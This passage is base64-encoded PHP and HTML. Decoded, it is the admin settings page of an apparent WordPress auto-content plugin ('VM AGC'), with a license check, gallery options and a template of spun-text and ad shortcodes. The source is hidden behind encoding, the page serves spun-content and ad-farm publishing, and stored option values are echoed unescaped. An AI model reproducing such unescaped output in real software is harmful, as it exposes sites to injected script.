J0ZXh0LXJpZ2h0IG1pZGRsZSIgdGl0bGU9IiIgc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyBmb250LXdlaWdodDogYm9sZGVyOyI+TGljZW5zZTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNtYWxsLTkgY29sdW1ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idm1hZ2NfbGljZW5zZV9hY3RpdmUiIGlkPSJ2bWFnY19saWNlbnNlX2FjdGl2ZSIgdHlwZT0idGV4dCIgdmFsdWU9Ijw/cGhwIGlmICggZ2V0X29wdGlvbiggJ3ZtYWdjX2xpY2Vuc2VfYWN0aXZlJyApICE9ICIiKSB7IGVjaG8gZ2V0X29wdGlvbiggJ3ZtYWdjX2xpY2Vuc2VfYWN0aXZlJyApOyB9IGVsc2UgeyBlY2hvICIiOyB9ID8+IiAvPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9ImZvbnQtc2l6ZToxMHB4O21hcmdpbi10b3A6LTE1cHgiPlRoaXMgZG9tYWluIGlzIG5vdCByZWdpc3RlcmVkIGZvciB0aGlzIGxpY2Vuc2UuLiBZb3UgY2FuIGdldCBsaWNlbnNlIHRoaXMgZnJvbSA8YSBocmVmPSJodHRwOi8vZXhjbHVzaXZlYm90Lm5ldC9pZCIgdGFyZ2V0PSJfYmxhbmsiPkV4Y2x1c2l2ZUJvdC5OZXQ8L2E+PC9wPg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1sZWZ0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIj48L3NwYW4+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9InNhdmUiIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ1dHRvbi1wcmltYXJ5IiB2YWx1ZT0iU2F2ZSBjaGFuZ2VzIiAvPg0KCQkJCSAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibGljZW5zZV9hY3RpdmUiIHZhbHVlPSJzYXZlIiAvPg0KCQkJCSAgICA8P3BocCBpZiAoICRsaWNlbnNlX2tleV92ZXJpZnkgPT0gIiIpIHsJPz4NCgkJCQkgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InZtYWdjX2xpY2Vuc2VfYWN0aXZlIiB2YWx1ZT0iPD9waHAgaWYgKCBnZXRfb3B0aW9uKCAndm1hZ2NfbGljZW5zZV9hY3RpdmUnICkgIT0gIiIpIHsgZWNobyBnZXRfb3B0aW9uKCAndm1hZ2NfbGljZW5zZV9hY3RpdmUnICk7IH0gZWxzZSB7IGVjaG8gIiI7IH0gPz4iIC8+DQoJCQkJICAgIDw/cGhwIH0gZWxzZSB7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ2bWFnY19saWNlbnNlX2FjdGl2ZSIgdmFsdWU9Ijw/cGhwIGVjaG8gJGxpY2Vuc2Vfa2V5X3ZlcmlmeTsgPz4iIC8+DQogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0/Pg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgIDw/cGhwIHZtX2dldF9mb290ZXIoKTsgPz4NCg0KPD9waHAgfSBlbHNlIHsNCgkJaWYoICRsaWNlbnNlX2tleV92ZXJpZnkgPT0gJGxpY2Vuc2VkICYmICR1cmwgPT0gJGRvbWFpbl92ZXJpZnkgKSB7ID8+DQoNCgkJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uID0iPD9waHAgZWNobyAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsgPz4iPg0KCQkJCTxkaXYgY2xhc3M9ImxhcmdlLTggbWVkaXVtLTggY29sdW1ucyI+DQoJCQkJCTx1bCBjbGFzcz0idGFicyB2bWFnYy1ub3JtYWxpemUiIGRhdGEtdGFicyBpZD0iZXhhbXBsZS10YWJzIj4NCgkJCQkJCTxsaSBjbGFzcz0idGFicy10aXRsZSBpcy1hY3RpdmUiPg0KCQkJCQkJCTxhIGhyZWY9IiNwYW5lbDEiIGFyaWEtc2VsZWN0ZWQ9InRydWUiPkhvbWVwYWdlPC9hPg0KCQkJCQkJPC9saT4NCgkJCQkJCTxsaSBjbGFzcz0idGFicy10aXRsZSI+DQoJCQkJCQkJPGEgaHJlZj0iI3BhbmVsMiI+U2luZ2xlIFBvc3Q8L2E+DQoJCQkJCQk8L2xpPg0KCQkJCQkJPGxpIGNsYXNzPSJ0YWJzLXRpdGxlIj4NCgkJCQkJCQk8YSBocmVmPSIjcGFuZWwzIj5BZHZlcnRpc2U8L2E+DQoJCQkJCQk8L2xpPg0KCQkJCQkJPGxpIGNsYXNzPSJ0YWJzLXRpdGxlIj4NCgkJCQkJCQk8YSBocmVmPSIjcGFuZWw0Ij5PdGhlciBTZXR0aW5nPC9hPg0KCQkJCQkJPC9saT4NCgkJCQkJPC91bD4NCg0KCQkJCQk8ZGl2IGNsYXNzPSJ0YWJzLWNvbnRlbnQiIGRhdGEtdGFicy1jb250ZW50PSJleGFtcGxlLXRhYnMiPg0KCQkJCQkJPGRpdiBjbGFzcz0idGFicy1wYW5lbCBpcy1hY3RpdmUiIGlkPSJwYW5lbDEiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InJvdyI+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IkVudGVyIE1haW4gS2V5d29yZCwgYW5kIGhvbWVwYWdlIHdpbGwgZGlzcGxheWluZyBpbWFnZXMgcmVsYXRlZCB5b3VyIGNob3NlbiBrZXl3b3JkLiIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5LZXl3b3JkPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0InN0eWxlPSJmb250LXNpemU6MTJweCIgbmFtZT0idm1hZ2Nfa2V5d29yZCIgaWQ9InZtYWdjX2tleXdvcmQiIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY19rZXl3b3JkJykgPT0gIiIpe2VjaG8gIlZNIEFHQyI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX2tleXdvcmQnKTt9Pz4iPg0KCQkJCQkJCQk8L2Rpdj4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJIb3cgbWFueSBpbWFnZXMgdG8gYmUgc2hvd24gaW4gaG9tZSBwYWdlPyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5Ib21lIFBhZ2UgR2FsbGVyeSBJbWFnZXM8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGlucHV0IHR5cGU9Im51bWJlciIgbWluPSIxIiBzdHlsZT0iZm9udC1zaXplOjEycHgiIG5hbWU9InZtYWdjX2hvbWVfaW1hZ2VfbnVtIiBpZD0idm1hZ2NfaG9tZV9pbWFnZV9udW0iIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY19ob21lX2ltYWdlX251bScpID09ICIiKXtlY2hvICIxMiI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX2hvbWVfaW1hZ2VfbnVtJyk7fT8+Ij4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iU2V0IHRoZSBpbWFnZSB3aWR0aCAmIGhlaWdodCBvZiB0aGUgaG9tZSBnYWxsZXJ5LiIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5JbWFnZXMgU2l6ZTwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTIgY29sdW1ucyIgc3R5bGU9ImZsb2F0OmxlZnQ7Ij4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iU2V0IHRoZSBpbWFnZSB3aWR0aCBvZiB0aGUgaG9tZSBnYWxsZXJ5LiIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij4NCgkJCQkJCQkJCSAgICA8aW5wdXQgdHlwZT0ibnVtYmVyIiBtaW49IjEiIG5hbWU9InZtYWdjX3dpZHRoIiBpZD0idm1hZ2Nfd2lkdGgiIHN0eWxlPSJmb250LXNpemU6MTJweCIgdmFsdWU9Ijw/cGhwIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3dpZHRoJykgPT0gIiIpe2VjaG8gIjQwMCI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX3dpZHRoJyk7fT8+Ij4NCgkJCQkJCQkJCTwvc3Bhbj4NCgkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCQk8c3BhbiBzdHlsZT0iZmxvYXQ6bGVmdDttYXJnaW4tdG9wOjVweDsiPiB4IDwvc3Bhbj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMiBjb2x1bW5zIiBzdHlsZT0iZmxvYXQ6bGVmdDttYXJnaW4tcmlnaHQ6NjVweDsiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJTZXQgdGhlIGltYWdlIGhlaWdodCBvZiB0aGUgaG9tZSBnYWxsZXJ5LiIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiA+DQoJCQkJCQkJCQkgICAgPGlucHV0IHR5cGU9Im51bWJlciIgbWluPSIxIiBuYW1lPSJ2bWFnY19oZWlnaHQiIGlkPSJ2bWFnY19oZWlnaHQiIHN0eWxlPSJmb250LXNpemU6MTJweCIgdmFsdWU9Ijw/cGhwIGlmKGdldF9vcHRpb24oJ3ZtYWdjX2hlaWdodCcpID09ICIiKXtlY2hvICIzMDAiO30gZWxzZSB7ZWNobyBnZXRfb3B0aW9uKCd2bWFnY19oZWlnaHQnKTt9Pz4iPg0KCQkJCQkJCQkJPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCQk8YnIgLz4NCgkJCQkJCQk8cCBzdHlsZT0iZm9udC1zaXplOjEwcHg7IG1hcmdpbi1sZWZ0OiAxNXB4ICFpbXBvcnRhbnQ7Ij5UbyB0cmlnZ2VyIGl0LCBwYXN0ZSB0aGlzIHRvIHlvdXIgaW5kZXggb3IgaG9tZSB0ZW1wbGF0ZSA8Y29kZT4mbHQ7P3BocCB2bV9hZ2NfYmVmb3JlX2NvbnRlbnQoKTsgPyZndDs8L2NvZGU+PC9wPg0KCQkJCQkJPC9kaXY+DQoNCgkJCQkJCTxkaXYgY2xhc3M9InRhYnMtcGFuZWwiIGlkPSJwYW5lbDIiPg0KCQkJCQkJCTxkaXYgY2xhc3M9InJvdyI+DQoJCQkJCQkJPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGgiPjwvZGl2Pg0KCQkJCQkJCSAgICA8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJDdXN0b20gYW5vdGhlciB0ZXh0IGZvciBzb21lIG9wdGlvbiB0aGVtZSIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5Qb3N0IEV4Y2VycHQgVGV4dCA8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InZtYWdjX3Bvc3RfZXhjZXJwdF90ZXh0IiBpZD0idm1hZ2NfcG9zdF9leGNlcnB0X3RleHQiIHN0eWxlPSJmb250LXNpemU6MTJweCIgdmFsdWU9Ijw/cGhwIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Bvc3RfZXhjZXJwdF90ZXh0JykgPT0gIiIpe2VjaG8gImhleSBoZXJlIHdlIGFyZSBhIHJlYWwgcG9zdCI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX3Bvc3RfZXhjZXJwdF90ZXh0Jyk7fT8+Ij4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iVXNlIHNob3J0Y29kZSBmb3Igc2V0dGluZyBBR0MgVGVtcGxhdGUiIHN0eWxlPSJmb250LXNpemU6MTJweCI+QUdDIFRlbXBsYXRlPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTx0ZXh0YXJlYSBuYW1lPSJ2bWFnY190ZW1wbGF0ZSIgaWQ9InZtYWdjX3RlbXBsYXRlIiBzdHlsZT0iZm9udC1zaXplOjEycHgiIHJvd3M9IjUiPjw/cGhwIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3RlbXBsYXRlJykgPT0gIiIpe2VjaG8gIlt0aXRsZV1cbltmaXJzdC1pbWFnZXNdXG5bYWRzLTcyOC05MF1cblthZ2MtdGV4dF1cbltzcHVuLXRleHRdXG5baW1hZ2VzLWdhbGVyeV1cbltyZWxhdGVkLXBvc3RdXG5bZ29vZ2xlLWNzZV1cbltyZWxhdGVkLXZpZGVvc10iO30gZWxzZSB7ZWNobyBnZXRfb3B0aW9uKCd2bWFnY190ZW1wbGF0ZScpO30/PjwvdGV4dGFyZWE+DQoJCQkJCQkJCQk8cCBzdHlsZT0iZm9udC1zaXplOjEwcHg7bWFyZ2luLXRvcDotMTVweCI+WW91IGNhbiB1c2UgPHN0cm9uZz5bdGl0bGVdPC9zdHJvbmc+LCA8c3Ryb25nPltmaXJzdC1pbWFnZXNdPC9zdHJvbmc+LCA8c3Ryb25nPltpbWFnZXMtZ2FsZXJ5XTwvc3Ryb25nPiwgPHN0cm9uZz5bYWdjLXRleHRdPC9zdHJvbmc+LCA8c3Ryb25nPltnb29nbGUtY3NlXTwvc3Ryb25nPiwgPHN0cm9uZz5bcmVsYXRlZC1wb3N0XTwvc3Ryb25nPiwgPHN0cm9uZz5bcmVsYXRlZC12aWRlb3NdPC9zdHJvbmc+LCA8c3Ryb25nPltzcHVuLXRleHRdPC9zdHJvbmc+LCA8c3Ryb25nPlthZHMtMTYwLTYwMF08L3N0cm9uZz4sIDxzdHJvbmc+W2Fkcy0zMDAtMjUwXTwvc3Ryb25nPiwgPHN0cm9uZz5bYWRzLTcyOC05MF08L3N0cm9uZz48L3A+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IHN0eWxlPSJjbGVhcjogYm90aDsiPjwvZGl2Pg0KCQkJCQkJCQk8aHIgLz4NCg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJIb3cgbWFueSBpbWFnZXMgdG8gYmUgc2hvd24gaW4gc2luZ2xlIHBvc3Q/IiBzdHlsZT0iZm9udC1zaXplOjEycHgiPlNpbmdsZSBQb3N0IEdhbGxlcnkgSW1hZ2VzPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtOSBjb2x1bW5zIj4NCgkJCQkJCQkJCTxpbnB1dCB0eXBlPSJudW1iZXIiIG1pbj0iMSIgbmFtZT0idm1hZ2NfZ2FsbGVyeV9pbWFnZV9udW0iIGlkPSJ2bWFnY19nYWxsZXJ5X2ltYWdlX251bSIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiB2YWx1ZT0iPD9waHAgaWYoZ2V0X29wdGlvbigndm1hZ2NfZ2FsbGVyeV9pbWFnZV9udW0nKSA9PSAiIil7ZWNobyAiNCI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX2dhbGxlcnlfaW1hZ2VfbnVtJyk7fT8+Ij4NCgkJCQkJCQkJPC9kaXY+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0iaGFzLXRpcCB0ZXh0LXJpZ2h0IG1pZGRsZSIgZGF0YS1vcHRpb25zPSJzaG93X29uOmxhcmdlIiB0aXRsZT0iRW50ZXIgeW91ciBpbWFnZSBnYWxsZXJ5IHRleHQuIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPkN1c3RvbSBJbWFnZSBHYWxsZXJ5IFRleHQ8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InZtYWdjX2ltYWdlX2dhbGxlcnlfdGV4dCIgaWQ9InZtYWdjX2ltYWdlX2dhbGxlcnlfdGV4dCIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4IiB2YWx1ZT0iPD9waHAgaWYoZ2V0X29wdGlvbigndm1hZ2NfaW1hZ2VfZ2FsbGVyeV90ZXh0JykgPT0gIiIpe2VjaG8gIkltYWdlcyBPZiBbdGl0bGVdIjt9IGVsc2Uge2VjaG8gZ2V0X29wdGlvbigndm1hZ2NfaW1hZ2VfZ2FsbGVyeV90ZXh0Jyk7fT8+IiA+DQoJCQkJCQkJCTwvZGl2Pg0KDQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IlNldCB0aGUgaW1hZ2Ugd2lkdGggJiBoZWlnaHQgb2YgdGhlIGhvbWUgZ2FsbGVyeS4iIHN0eWxlPSJmb250LXNpemU6MTJweCI+SW1hZ2VzIFNpemU8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0yIGNvbHVtbnMiIHN0eWxlPSJmbG9hdDpsZWZ0OyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IlNldCB0aGUgaW1hZ2Ugd2lkdGggb2YgdGhlIHNpbmdsZSBwb3N0LiIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij4NCgkJCQkJCQkJCQk8aW5wdXQgdHlwZT0ibnVtYmVyIiBtaW49IjEiIHZhbHVlPSI8P3BocCBpZihnZXRfb3B0aW9uKCd2bWFnY19nYWxsZXJ5X2ltYWdlX3dpZHRoJykgPT0gIiIpe2VjaG8gIjE1MCI7fSBlbHNlIHtlY2hvIGdldF9vcHRpb24oJ3ZtYWdjX2dhbGxlcnlfaW1hZ2Vfd2lkdGgnKTt9Pz4iIG5hbWU9InZtYWdjX2dhbGxlcnlfaW1hZ2Vfd2lkdGgiIGlkPSJ2bWFnY19nYWxsZXJ5X2ltYWdlX3dpZHRoIiBzdHlsZT0iZm9udC1zaXplOjEycHgiPg0KCQkJCQkJCQkJPC9zcGFuPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0O21hcmdpbi10b3A6NXB4OyI+IHggPC9zcGFuPg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0yIGNvbHVtbnMiIHN0eWxlPSJmbG9hdDpsZWZ0O21hcmdpbi1yaWdodDo2NXB4OyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IlNldCB0aGUgaW1hZ2UgaGVpZ2h0IG9mIHRoZSBzaW5nbGUgcG9zdC4iIHN0eWxlPSJmb250LXNpemU6MTJweCI+DQoJCQkJCQkJCQkJPGlucHV0IHR5cGU9Im51bWJlciIgbWluPSIxIiB2YWx1ZT0iPD9waHAgaWYoZ2V0X29wdGlvbigndm1hZ2NfZ2FsbGVyeV9pbWFnZV9oZWlnaHQnKSA9PSAiIil7ZWNobyAiMTUwIjt9IGVsc2Uge2VjaG8gZ2V0X29wdGlvbigndm1hZ2NfZ2FsbGVyeV9pbWFnZV9oZWlnaHQnKTt9Pz4iIG5hbWU9InZtYWdjX2dhbGxlcnlfaW1hZ2VfaGVpZ2h0IiBpZD0idm1hZ2NfZ2FsbGVyeV9pbWFnZV9oZWlnaHQiIHN0eWxlPSJmb250LXNpemU6MTJweCI+PC9zcGFuPg0KCQkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTxkaXYgc3R5bGU9ImNsZWFyOiBib3RoOyI+PC9kaXY+DQoJCQkJCQkJCTxociAvPg0KDQoJCQkJCQkJCTxkaXYgY2xhc3M9InNtYWxsLTMgY29sdW1ucyI+DQoJCQkJCQkJCQk8c3BhbiBkYXRhLXRvb2x0aXAgYXJpYS1oYXNwb3B1cD0idHJ1ZSIgY2xhc3M9Imhhcy10aXAgdGV4dC1yaWdodCBtaWRkbGUiIGRhdGEtb3B0aW9ucz0ic2hvd19vbjpsYXJnZSIgdGl0bGU9IkRvIHlvdSB3YW50IHRvIHNob3cgcmVsYXRlZCBwb3N0PyIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5SZWxhdGVkIFBvc3Q8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGRpdiBjbGFzcz0ic3dpdGNoIHRpbnkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQoJCQkJCQkJCQkJICAgIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfcmVsYXRlZCcpID09IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCSAgICAkdmFsdWVzID0gIiI7DQoJCQkJCQkJCQkJCX0NCgkJCQkJCQkJCQkJZWxzZWlmKGdldF9vcHRpb24oJ3ZtYWdjX3Nob3dfcmVsYXRlZCcpICE9IEZBTFNFKQ0KCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJICAgIAkkdmFsdWVzID0gInZhbHVlPSd0cnVlJyBjaGVja2VkIjsNCgkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCT8+DQoJCQkJCQkJCQkJPGlucHV0IGNsYXNzPSJzd2l0Y2gtaW5wdXQiIGlkPSJ2bWFnY19zaG93X3JlbGF0ZWQiIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ2bWFnY19zaG93X3JlbGF0ZWQiIDw/cGhwIGVjaG8gJHZhbHVlczsgPz4+DQoJCQkJCQkJCQkJPGxhYmVsIGNsYXNzPSJzd2l0Y2gtcGFkZGxlIiBmb3I9InZtYWdjX3Nob3dfcmVsYXRlZCI+DQoJCQkJCQkJCQkJCTxzcGFuIGNsYXNzPSJzaG93LWZvci1zciI+RG8geW91IHdhbnQgdG8gcmVsYXRlZCBwb3N0Pzwvc3Bhbj4NCgkJCQkJCQkJCQkJPHNwYW4gY2xhc3M9InN3aXRjaC1hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5ZZXM8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzd2l0Y2gtaW5hY3RpdmUiIGFyaWEtaGlkZGVuPSJ0cnVlIj5Obzwvc3Bhbj4NCgkJCQkJCQkJCQk8L2xhYmVsPg0KCQkJCQkJCQkJPC9kaXY+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC0zIGNvbHVtbnMiPg0KCQkJCQkJCQkJPHNwYW4gZGF0YS10b29sdGlwIGFyaWEtaGFzcG9wdXA9InRydWUiIGNsYXNzPSJoYXMtdGlwIHRleHQtcmlnaHQgbWlkZGxlIiBkYXRhLW9wdGlvbnM9InNob3dfb246bGFyZ2UiIHRpdGxlPSJFbnRlciB5b3VyIHJlbGF0ZWQgcG9zdCB0ZXh0LiIgc3R5bGU9ImZvbnQtc2l6ZToxMnB4Ij5DdXN0b20gUmVsYXRlZCBQb3N0IFRleHQ8L3NwYW4+DQoJCQkJCQkJCTwvZGl2Pg0KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzbWFsbC05IGNvbHVtbnMiPg0KCQkJCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIHN0eWxlPSJmb250LXNpemU6MTJweCIgdmFsdWU9Ijw/cGhwIGlmKGdldF9vcHRpb24oJ3ZtYWdjX3JlbGF0ZWRfcG9zdF90ZXh0JykgPT0gIiIpe2VjaG8gIlJlbGF0ZWQgUG9zdCBPZiBbdGl0bGVdIjt9IGVsc2Uge2VjaG8gZ2V0X29wdGlvbigndm1hZ2NfcmVsYXRlZF9wb3N0X3RleHQnKTt9Pz4iIG5hbWU9InZtYWdjX3JlbGF0ZWRfcG9zdF90ZXh0IiBpZD0idm1hZ2NfcmVsYXRlZF9wb3N0X3RleHQiPg0KCQkJCQkJCQk8L2Rpdj4NCgkJCQkJCQkJPGRpdiBzdHlsZT0iY2xlYXI6IGJvdGg7Ij48L2Rpdj4NCgkJCQkJCQkJPGhyIC8+DQoNCgkJCQkJCQkJPGRpdiBjbGFzcz0ic21hbGwtMyBjb2x1bW5zIj4NCgkJCQkJCQkJCTxzcGFuIGRhdGEtdG9vbHRpcCBhcmlhLWhhc3BvcHVwPSJ0cnVlIiBjbGFzcz0i